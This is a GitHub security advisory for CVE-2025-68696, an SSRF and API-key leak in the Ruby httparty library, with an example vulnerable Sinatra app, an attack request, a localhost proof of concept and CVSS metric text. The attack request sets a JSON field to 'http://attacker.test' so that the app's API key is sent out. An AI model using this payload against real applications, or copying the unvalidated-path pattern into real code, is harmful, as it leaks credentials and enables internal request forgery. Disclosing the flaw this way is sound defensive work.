CVE-2025-68696
ADVISORY - githubSummary
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
PoC
Follow these steps to reproduce the issue:
Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &Create a script (for example,
main.rb):require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts dataRun the script:
$ ruby main.rb this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.

CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
There is no impact to availability within the Vulnerable System.
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
